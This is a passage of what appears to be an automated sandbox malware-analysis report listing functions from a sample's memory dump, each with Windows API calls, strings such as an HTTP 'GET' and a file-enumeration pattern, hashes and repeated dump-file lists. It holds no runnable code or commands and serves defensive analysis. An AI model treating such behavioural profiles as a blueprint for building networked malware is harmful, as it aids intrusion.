API ID: Local$CreateEventFree$AllocCloseDirectoryErrorFileHandleLastOpen__snwprintfclosesocketsetsockoptshutdown
String ID: {D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 565480421-750218306
Opcode ID: a5c245b29fa3135cf271d5b5eb85994dbac2603f8d3b87e042fb02f9ff4e69a9
Instruction ID: 0b1cf9f200c255c4a425d12def3505b1b585250c45180bd155ee017db0c59b91
Opcode Fuzzy Hash: a5c245b29fa3135cf271d5b5eb85994dbac2603f8d3b87e042fb02f9ff4e69a9
Instruction Fuzzy Hash: 18313C75A04218EFEB24DFA8DC89BADBBB8FF48300F20462DE510A7295D7B19941CF51

Function 00924320 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00924331
OpenEventW.KERNEL32(00000002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 00924383
SetEvent.KERNEL32(00000000), ref: 00924396
CloseHandle.KERNEL32(00000000), ref: 009243A0
SetEvent.KERNEL32(00000000), ref: 009243D8
ResetEvent.KERNEL32(00000000), ref: 009243FB

Strings

{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 0092437A

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Event$CloseHandleObjectOpenResetSingleWait
String ID: {D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 1560999653-750218306
Opcode ID: a03bc640d525ad39d62cc960cb34339b0c70355b3bf9d079d882f9f407d28187
Instruction ID: 4d0b4324978dbefdecda815628d98bfce7cf9111f48f16f2ea79730d8a4c9be9
Opcode Fuzzy Hash: a03bc640d525ad39d62cc960cb34339b0c70355b3bf9d079d882f9f407d28187
Instruction Fuzzy Hash: 8A216070919334DFDF28EBA8FE4976C37FCA750305F100426E101521A8DB769890EB51

Function 00941220 Relevance: 12.2, APIs: 8, Instructions: 208synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 009411A0
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 009411B8
setsockopt.WS2_32(00000000,0000FFFF,00000008,00000001,00000004), ref: 0094126B
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00941309
shutdown.WS2_32(00000000,00000002), ref: 009413D7
closesocket.WS2_32(00000000), ref: 009413E1
shutdown.WS2_32(00000000,00000002), ref: 00941453
closesocket.WS2_32(00000000), ref: 0094145D
ExitProcess.KERNEL32 ref: 009414B0

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$closesocketshutdown$ExitProcesssetsockopt
String ID:
API String ID: 2683737993-0
Opcode ID: 6d80b27aa574e7ca14b176cbc4770c4e5ca6bc90b4d4a6bed50660421844fcb1
Instruction ID: b18592dabffc0a4fcb1d641a35e538598713b0ca9950bcc2a67cac1cbbf7fab4
Opcode Fuzzy Hash: 6d80b27aa574e7ca14b176cbc4770c4e5ca6bc90b4d4a6bed50660421844fcb1
Instruction Fuzzy Hash: 72716070A56204ABEB25EFB8DC89FAE7779EB45304F208515E211771D0C7B8A980CFA0

Function 00942450 Relevance: 12.1, APIs: 8, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00942466
CoCreateGuid.COMBASE(00942063), ref: 00942478
StringFromGUID2.COMBASE(00942063,?,00000027), ref: 00942490
LocalAlloc.KERNEL32(00000040,00000068), ref: 009424B8
und_memcpy.LIBCMTD ref: 00942505
LocalFree.KERNEL32(00000000), ref: 00942511
CoUninitialize.COMBASE ref: 00942517
CoUninitialize.COMBASE ref: 00942524

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: LocalUninitialize$AllocCreateFreeFromGuidInitializeStringund_memcpy
String ID:
API String ID: 1042734605-0
Opcode ID: ba25a531dbe7d0cc7bfcb01417af6bc3c236e247324fcf869286ce587f074d50
Instruction ID: 14cddf2ee20b312356eaf6fc1d5c73b0edaa20ef2402c4ed1ac25c2650ca6394
Opcode Fuzzy Hash: ba25a531dbe7d0cc7bfcb01417af6bc3c236e247324fcf869286ce587f074d50
Instruction Fuzzy Hash: 042198B6904304A7DB14DBB8DC4AF9E77F9AF58705F044419FA099B291E631D904CF61

Function 00939150 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 402COMMON

Download Yara Rule

Strings

GET, xrefs: 00939407
*/*, xrefs: 00939172
<, xrefs: 009392E6

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID:
String ID: */*$<$GET
API String ID: 0-4180448669
Opcode ID: f86cfc40f20569614af0bc1ccb9c743789b9ae8677381d0009382e61cf42deb9
Instruction ID: 63810d7ca258147c0c0e8108c8974525e73cf64cac11b81f8555094b5ba18cce
Opcode Fuzzy Hash: f86cfc40f20569614af0bc1ccb9c743789b9ae8677381d0009382e61cf42deb9
Instruction Fuzzy Hash: 91022AB0905318DFEB24DFA4CD85FEEB7B8BB48304F104599E549AB280D7B4AA84CF50

Function 0093CA90 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 161COMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 0093CAE2
wnsprintfW.SHLWAPI ref: 0093CBB9
wnsprintfW.SHLWAPI ref: 0093CC29

Strings

%s%s, xrefs: 0093CC1B
%s*.*, xrefs: 0093CAD4
%s%s\, xrefs: 0093CBA8

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: wnsprintf
String ID: %s%s$%s%s\$%s*.*
API String ID: 167729887-784047915
Opcode ID: 600d37f2c7a2d0ad764a58303ccedbc116a515dc4ebfa6e78862eb96f70f62b5
Instruction ID: a1c3dbb66e80bfbe17cb555e4df2dd1ae1a095f4966685733bb08c4962ac2594
Opcode Fuzzy Hash: 600d37f2c7a2d0ad764a58303ccedbc116a515dc4ebfa6e78862eb96f70f62b5
Instruction Fuzzy Hash: A8518FB1A45209ABDB20FFA4CC89FAF7379EF45704F105998E648B7181D675AA40CF60

Function 00927260 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 009272DB
_memset.LIBCMT ref: 0092732B
shutdown.WS2_32(?,00000002), ref: 00927595
closesocket.WS2_32(?), ref: 0092759F

Part of subcall function 00940CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00940CED

Strings

, xrefs: 00927441
#, xrefs: 0092744B

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
